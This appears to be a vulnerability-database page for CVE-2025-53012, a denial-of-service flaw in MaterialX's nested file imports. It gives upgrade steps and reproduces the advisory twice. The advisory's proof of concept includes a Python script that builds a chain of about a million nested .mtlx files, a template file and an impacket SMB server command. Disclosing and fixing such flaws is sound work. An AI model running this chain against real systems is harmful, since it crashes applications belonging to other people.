CVE-2025-53012: MaterialX Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-qc2h-74x3-4v3w
CWE-400
Published
Advisory Summary

CVE-2025-53012 is a MODERATE denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting MaterialX libraries in the PyPI ecosystem. The issue involves materialx lack of mtlx import depth limit leads to dos (denial-of-service) via stack exhaustion. Remediation is available by upgrading affected packages to version 1.39.3.

CVE-2025-53012 at a Glance

CVE Identifier CVE-2025-53012
GHSA Identifier GHSA-qc2h-74x3-4v3w
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product MaterialX
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-53012

To remediate this vulnerability, upgrade all affected MaterialX dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

MaterialX fixed: 1.39.3
pip install MaterialX>=1.39.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show MaterialX

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-53012, inspect your installed packages using pip:

pip show MaterialX

Analyze the terminal output to locate any version of MaterialX in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.39.3), your application is affected.

Note: The pip show MaterialX command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In MaterialX, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. ### Details The MaterialX [specification](https://github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md#mtlx-file-format-definition) supports importing other files by using `XInclude` tags. When parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed. However, there is no limit imposed to the depth of files that can be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. ### PoC This test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single `.mtlx` file being parsed. Note that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly. In order to reproduce this test, please follow the steps below: 1. Compile or download the MaterialXView application in a Windows machine 2. In a separate Linux machine in the same local network, install the `impacket` package (the documentation of the package suggests using `pipx`, as in `python3 -m pipx install impacket `). 3. In the Linux machine, create a file named `template.mtlx` with the following content: ```xml <?xml version="1.0"?> <materialx version="1.39" colorspace="lin_rec709"> <xi:include href="\\\\{ip}\\{name}.mtlx"/> <surfacematerial name="Aluminum_Brushed" type="material"> <input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" /> </surfacematerial> <open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader"> <input name="base_color" type="color3" value="0.912, 0.914, 0.920" /> <input name="base_metalness" type="float" value="1.0" /> <input name="specular_color" type="color3" value="0.970, 0.979, 0.988" /> <input name="specular_roughness" type="float" value="0.2" /> <input name="specular_roughness_anisotropy" type="float" value="0.9" /> </open_pbr_surface> </materialx> ``` 4. In the same directory, create a file named `script.py` with the following content: ```python import argparse import uuid import os from pathlib import Path MAX_FILES_PER_DIR = 1024 MAX_DIRECTORIES = 1024 def uuid_generator(count): for _ in range(count): yield str(uuid.uuid4()) def get_dir_and_file_count(total_files): num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR if num_dirs > MAX_DIRECTORIES: raise ValueError(f"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}") return num_dirs def create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations): with open(template_path, 'r') as f: template_content = f.read() Path(output_dir).mkdir(parents=True, exist_ok=True) dir_count = get_dir_and_file_count(num_iterations) dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)] for dir_uuid in dir_uuids: Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True) uuid_gen = uuid_generator(num_iterations) next_uuid = next(uuid_gen) first_file_path = None for i in range(num_iterations): current_uuid = next_uuid next_uuid = next(uuid_gen) if i < num_iterations - 1 else "FINAL" dir_index = i // MAX_FILES_PER_DIR dir_uuid = dir_uuids[dir_index] if next_uuid != "FINAL": next_dir_index = (i + 1) // MAX_FILES_PER_DIR next_dir_uuid = dir_uuids[next_dir_index] include_path = f"{share_name}\\{next_dir_uuid}\\{next_uuid}" else: include_path = next_uuid content = template_content.replace("{ip}", ip_address) content = content.replace("{name}", include_path) output_path = os.path.join(output_dir, dir_uuid, f"{current_uuid}.mtlx") with open(output_path, 'w') as f: f.write(content) if i == 0: first_file_path = f"\\\\{ip_address}\\{share_name}\\{dir_uuid}\\{current_uuid}.mtlx" print(f"First file created at UNC path: {first_file_path}") def main(): parser = argparse.ArgumentParser(description='Generate chain of MaterialX files') parser.add_argument('template', help='Path to template MaterialX file') parser.add_argument('output_dir', help='Output directory for generated files') parser.add_argument('ip_address', help='IP address to use in file paths') parser.add_argument('share_name', help='Share name to use in file paths') parser.add_argument('--iterations', type=int, default=10, help='Number of files to generate (default: 10)') args = parser.parse_args() if args.iterations > MAX_FILES_PER_DIR * MAX_DIRECTORIES: print(f"Error: Maximum number of files is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}") return create_materialx_chain( args.template, args.output_dir, args.ip_address, args.share_name, args.iterations ) if __name__ == "__main__": main() ``` 5. Run the python script with the following command line, replacing the `$IP` placeholder with the IP address of your interface (the command will take some time to execute): `python3 script.py --iterations 1048576 template.mtlx chain $IP chain` - This will print, in the console, a line documenting the UNC path of the first file of the chain. Copy that path in the clipboard. 6. Spawn the SMB server by executing the following command line: `pipx run --spec impacket smbserver.py -smb2support chain chain/` 7. In the Windows machine, create a MaterialX file with the following content, replacing the `$UNCPATH` placeholder with the content of the path printed at step 5: ``` <?xml version="1.0"?> <materialx version="1.39" colorspace="lin_rec709"> <xi:include href="$UNCPATH"/> <surfacematerial name="Aluminum_Brushed" type="material"> <input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" /> </surfacematerial> <open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader"> <input name="base_color" type="color3" value="0.912, 0.914, 0.920" /> <input name="base_metalness" type="float" value="1.0" /> <input name="specular_color" type="color3" value="0.970, 0.979, 0.988" /> <input name="specular_roughness" type="float" value="0.2" /> <input name="specular_roughness_anisotropy" type="float" value="0.9" /> </open_pbr_surface> </materialx> ``` 8. Load the MaterialX file in MaterialXView 9. Notice that the viewer doesn't respond anymore. After some minutes, notice that the viewer crashes, demonstrating the Stack Exhaustion Note: by consulting the Windows `Event Viewer`, it is possible to examine the application crash, verifying that it is indeed crashing with a `STATUS_STACK_OVERFLOW (0xc00000fd)`. ### Impact An attacker exploiting this vulnerability would be able to intentionally stall and crash an application reading MaterialX files controlled by them. In Windows, the attack complexity is lower, since the malicious MaterialX file can reference remote paths via the UNC notation. However, the attack would work in other systems as well, provided that the attacker can write an arbitrary amount of MaterialX files (implementing the chain) in the local file system.

CVE-2025-53012 Affected MaterialX Versions

1 component(s)
Fixed Versions:
1.39.3
Product / Package Ecosystem Affected Versions Fixed Version
MaterialX
PyPI
≥ 1.39.2
< 1.39.3
All 1 versions
1.39.2
1.39.3

References

Frequently Asked Questions

What is CVE-2025-53012?
CVE-2025-53012 is a security vulnerability in MaterialX involving MaterialX Lack of MTLX Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion under CWE-400: Uncontrolled Resource Consumption.
Which MaterialX versions are affected?
Affected versions include releases prior to 1.39.3 across affected packages: MaterialX.
What version fixes CVE-2025-53012?
Upgrading to 1.39.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is MaterialX affected?
Yes, MaterialX is affected in releases prior to 1.39.3. Upgrade your dependency to 1.39.3 or later.
What CWE is associated with CVE-2025-53012?
CVE-2025-53012 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for CVE-2025-53012?
Run the dependency tree command: 'pip show MaterialX'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qc2h-74x3-4v3w",
  "modified" : "2025-08-01T18:36:16Z",
  "published" : "2025-07-31T19:37:51Z",
  "aliases" : [ "CVE-2025-53012" ],
  "summary" : "MaterialX Lack of MTLX Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion",
  "details" : "### Summary\nNested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the \"import chain\" depth.\n\n### Details\nThe MaterialX [specification](https://github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md#mtlx-file-format-definition) supports importing other files by using `XInclude` tags.\n\nWhen parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.\n\nHowever, there is no limit imposed to the depth of files that\ncan be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.\n\n### PoC\nThis test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single `.mtlx` file being parsed.\n\nNote that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.\n\nIn order to reproduce this test, please follow the steps below:\n\n1. Compile or download the MaterialXView application in a Windows machine\n2. In a separate Linux machine in the same local network, install the `impacket` package (the documentation of the package suggests using `pipx`, as in `python3 -m pipx install impacket\n`). \n3. In the Linux machine, create a file named `template.mtlx` with the following content:\n```xml\n<?xml version=\"1.0\"?>\n<materialx version=\"1.39\" colorspace=\"lin_rec709\">\n  <xi:include href=\"\\\\\\\\{ip}\\\\{name}.mtlx\"/>\n  <surfacematerial name=\"Aluminum_Brushed\" type=\"material\">\n    <input name=\"surfaceshader\" type=\"surfaceshader\" nodename=\"open_pbr_surface_surfaceshader\" />\n  </surfacematerial>\n  <open_pbr_surface name=\"open_pbr_surface_surfaceshader\" type=\"surfaceshader\">\n    <input name=\"base_color\" type=\"color3\" value=\"0.912, 0.914, 0.920\" />\n    <input name=\"base_metalness\" type=\"float\" value=\"1.0\" />\n    <input name=\"specular_color\" type=\"color3\" value=\"0.970, 0.979, 0.988\" />\n    <input name=\"specular_roughness\" type=\"float\" value=\"0.2\" />\n    <input name=\"specular_roughness_anisotropy\" type=\"float\" value=\"0.9\" />\n  </open_pbr_surface>\n</materialx>\n```\n4. In the same directory, create a file named `script.py` with the following content:\n```python\nimport argparse\nimport uuid\nimport os\nfrom pathlib import Path\n\nMAX_FILES_PER_DIR = 1024\nMAX_DIRECTORIES = 1024\n\ndef uuid_generator(count):\n    for _ in range(count):\n        yield str(uuid.uuid4())\n\ndef get_dir_and_file_count(total_files):\n    num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR\n    if num_dirs > MAX_DIRECTORIES:\n        raise ValueError(f\"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}\")\n    return num_dirs\n\ndef create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):\n    with open(template_path, 'r') as f:\n        template_content = f.read()\n    \n    Path(output_dir).mkdir(parents=True, exist_ok=True)\n    \n    dir_count = get_dir_and_file_count(num_iterations)\n    dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]\n    \n    for dir_uuid in dir_uuids:\n        Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)\n    \n    uuid_gen = uuid_generator(num_iterations)\n    next_uuid = next(uuid_gen)\n    first_file_path = None\n\n    for i in range(num_iterations):\n        current_uuid = next_uuid\n        next_uuid = next(uuid_gen) if i < num_iterations - 1 else \"FINAL\"\n        \n        dir_index = i // MAX_FILES_PER_DIR\n        dir_uuid = dir_uuids[dir_index]\n        \n        if next_uuid != \"FINAL\":\n            next_dir_index = (i + 1) // MAX_FILES_PER_DIR\n            next_dir_uuid = dir_uuids[next_dir_index]\n            include_path = f\"{share_name}\\\\{next_dir_uuid}\\\\{next_uuid}\"\n        else:\n            include_path = next_uuid\n        \n        content = template_content.replace(\"{ip}\", ip_address)\n        content = content.replace(\"{name}\", include_path)\n        \n        output_path = os.path.join(output_dir, dir_uuid, f\"{current_uuid}.mtlx\")\n        with open(output_path, 'w') as f:\n            f.write(content)\n\n        if i == 0:\n            first_file_path = f\"\\\\\\\\{ip_address}\\\\{share_name}\\\\{dir_uuid}\\\\{current_uuid}.mtlx\"\n            print(f\"First file created at UNC path: {first_file_path}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description='Generate chain of MaterialX files')\n    parser.add_argument('template', help='Path to template MaterialX file')\n    parser.add_argument('output_dir', help='Output directory for generated files')\n    parser.add_argument('ip_address', help='IP address to use in file paths')\n    parser.add_argument('share_name', help='Share name to use in file paths')\n    parser.add_argument('--iterations', type=int, default=10,\n                      help='Number of files to generate (default: 10)')\n    \n    args = parser.parse_args()\n    \n    if args.iterations > MAX_FILES_PER_DIR * MAX_DIRECTORIES:\n        print(f\"Error: Maximum number of files is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}\")\n        return\n    \n    create_materialx_chain(\n        args.template,\n        args.output_dir,\n        args.ip_address,\n        args.share_name,\n        args.iterations\n    )\n\nif __name__ == \"__main__\":\n    main()\n```\n5. Run the python script with the following command line, replacing the `$IP` placeholder with the IP address of your interface (the command will take some time to execute): `python3 script.py --iterations 1048576 template.mtlx chain $IP chain`\n    - This will print, in the console, a line documenting the UNC path of the first file of the chain. Copy that path in the clipboard.\n6. Spawn the SMB server by executing the following command line: `pipx run --spec impacket smbserver.py -smb2support chain chain/`\n7. In the Windows machine, create a MaterialX file with the following content, replacing the `$UNCPATH` placeholder with the content of the path printed at step 5:\n```\n<?xml version=\"1.0\"?>\n<materialx version=\"1.39\" colorspace=\"lin_rec709\">\n  <xi:include href=\"$UNCPATH\"/>\n  <surfacematerial name=\"Aluminum_Brushed\" type=\"material\">\n    <input name=\"surfaceshader\" type=\"surfaceshader\" nodename=\"open_pbr_surface_surfaceshader\" />\n  </surfacematerial>\n  <open_pbr_surface name=\"open_pbr_surface_surfaceshader\" type=\"surfaceshader\">\n    <input name=\"base_color\" type=\"color3\" value=\"0.912, 0.914, 0.920\" />\n    <input name=\"base_metalness\" type=\"float\" value=\"1.0\" />\n    <input name=\"specular_color\" type=\"color3\" value=\"0.970, 0.979, 0.988\" />\n    <input name=\"specular_roughness\" type=\"float\" value=\"0.2\" />\n    <input name=\"specular_roughness_anisotropy\" type=\"float\" value=\"0.9\" />\n  </open_pbr_surface>\n</materialx>\n```\n8. Load the MaterialX file in MaterialXView\n9. Notice that the viewer doesn't respond anymore. After some minutes, notice that the viewer crashes, demonstrating the Stack Exhaustion\n\nNote: by consulting the Windows `Event Viewer`, it is possible to examine the application crash, verifying that it is indeed crashing with a `STATUS_STACK_OVERFLOW (0xc00000fd)`.\n\n### Impact\n\nAn attacker exploiting this vulnerability would be able to intentionally stall and crash an application reading MaterialX files controlled by them.\n\nIn Windows, the attack complexity is lower, since the malicious MaterialX file can reference remote paths via the UNC notation. However, the attack would work in other systems as well, provided that the attacker can write an arbitrary amount of MaterialX files (implementing the chain) in the local file system.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "MaterialX"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.39.2"
      }, {
        "fixed" : "1.39.3"
      } ]
    } ],
    "versions" : [ "1.39.2" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-qc2h-74x3-4v3w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-53012"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/MaterialX/pull/2233/commits/6182c07467297416a30d148ab531d81198686dc5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AcademySoftwareFoundation/MaterialX"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md#mtlx-file-format-definition"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/MaterialX/releases/tag/v1.39.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-31T19:37:51Z",
    "nvd_published_at" : "2025-08-01T18:15:54Z"
  }
}